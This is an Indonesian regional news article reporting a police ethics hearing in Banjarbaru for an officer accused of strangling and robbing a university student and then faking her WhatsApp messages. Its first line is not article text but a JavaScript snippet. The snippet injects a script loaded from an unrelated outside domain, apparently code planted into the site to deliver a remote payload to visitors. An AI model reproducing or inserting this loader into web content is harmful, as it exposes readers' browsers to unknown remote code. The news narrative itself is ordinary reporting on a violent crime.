(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sidang komisi kode etik Bripda MS, tersangka kasus pembunuhan mahasiswi Universitas Lambung Mangkurat (ULM) bergulir di aula markas Kepolisian Resor (Polres) Banjarbaru, Senin (29/12/2025) siang.
Sidang digelar terbuka untuk umum menghadirkan Bripda MS memakai pakaian dinas kepolisian. Ia nampak tampil berbeda dengan rambut yang sudah digunduli.
Bripda MS duduk di hadapan Majelis Komisi Kode Etik Propam Polres Banjarbaru. Tak berapa lama sidang dimulai, penuntut membacakan tuntutannya.
Dalam tuntutan terduga pelanggar, atas nama Muhammad Seili alias MS berpangkat Bripda jabatan Banit 24 Dalmas Satuan Samapta, Kesatuan Polres Banjarbaru Baru.
Baca juga: Kalsel Banjir Besar, Kejahatan Ekologis dari Pemangku Kebijakan
“Sehubungan dengan perubatannya sewaktu melaksanakan tugas, wewenang, dan tanggung jawab sebagai Banit 24 Dalmas, Sat Samapta Polres Banjarbaru telah melakukan pelanggaran kode etik profesi Polri terkait tindakan kekerasaan yang mengakibatkan korban meninggal dunia,” ujar Penuntut 1 Inspektur Polisi, Hendri didampingi Penuntut 2 Bripda Rifky Pratama.
Dalam wujud perbuatan Bripda MS, ada hubungan terkait pemberitaan viral di media masa, terkait penemuan mayat seorang perempuan yang tidak diketahui identitasnya oleh petugas kebersihan dinas di Kota Banjarmasin pada Rabu (24/12/2025) sekitar pukul 07.30 Wita, di Jalan Sultan Adam Kota Banjarmasin.
Setelah dilakukan visum dan otopsi, diketahui korban bernama Zahra Dila (20), yang berdasarkan identitas korban tersebut diketahui bahwa keberadaan korban terakhir sebelum ditemukan tidak bernyawa adalah bersama dengan terduga pelanggar.
“Dan berdasarkan keterangan terduga pelanggar setelah diamankan oleh Unit Opsnal Jatanras Satreskrim Polres Banjarmasin, mengakui bahwa pelaku dari temuan mayat tersebut adalah terduga pelanggar,” ucap penuntut.
Baca juga: Kepadatan Arus Balik Jemaah Sekumpul Masih Berlangsung
Saat diamankan terduga pelanggar mengakui telah menghilangkan nyawa Zahra Dilla dengan cara mencekik lehernya sampai tidak bernapas lagi. Tindakan itu dilakukannya di dalam mobil Toyota Rush warna merah milik Bripda MS.
Setelah menghabisi Zahra Dilla, kemudian Bripda MS mengambil HP dan perhiasan milik korban.
Bripda MS dan korban sebelumnya sempat melakukan hubungan suami istri di dalam mobil tanpa ikatan pernikahan yang sah.
“Terduga pelanggar mengambil perhiasan milik korban seolah-olah kematian korban adalah akibat perlawanannya terhadap pelaku pencurian dan atau perampokan,” ungkap penuntut 1 saat membacakan tuntutan.
Baca juga: Sertijab Camat Mantangai Berlangsung Khidmat
Dengan mengambil HP milik korban tersebut, didapati terduga pelanggar sempat melakukan komunikasi chat group WhatsApp kepada teman-temannya korban, seolah-olah korban masih hidup dan kemudian membuang HP tersebut untuk menghilangkan jejak.
“Setelah memastikan korban meninggal dunia, kemudian jasadnya dibuang oleh terduga pelanggar di TKP sebagaimana penemuan mayat,” sambung penuntut.
Atas perbuatan tersebut, pelanggar dapat dipersangkakan melanggar pasal 13 Peraturan Pemerintah Republik Indonesia Nomor 1 tahun 2003 tentang pemberhentian anggota Polri.
Kemudian dipersangkakan Pasal 5 Ayat (1) Huruf P, Pasal 8 huruf C Angka 1, Pasal 8 huruf C Angka 2, Pasal 8 huruf C Angka 3, dan Pasal 13 semuanya termuat dalam Perpol 7 Tahun 2022 tentang Kode Etik Profesi dan Komisi Kode Etik Polri.
Hingga pukul 14.30 Wita, sidang Sidang komisi kode etik Bripda MS masih berlangsung dengan menghadirkan empat saksi yang merupakan anggota Satreskrim Polres Banjarmasin. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.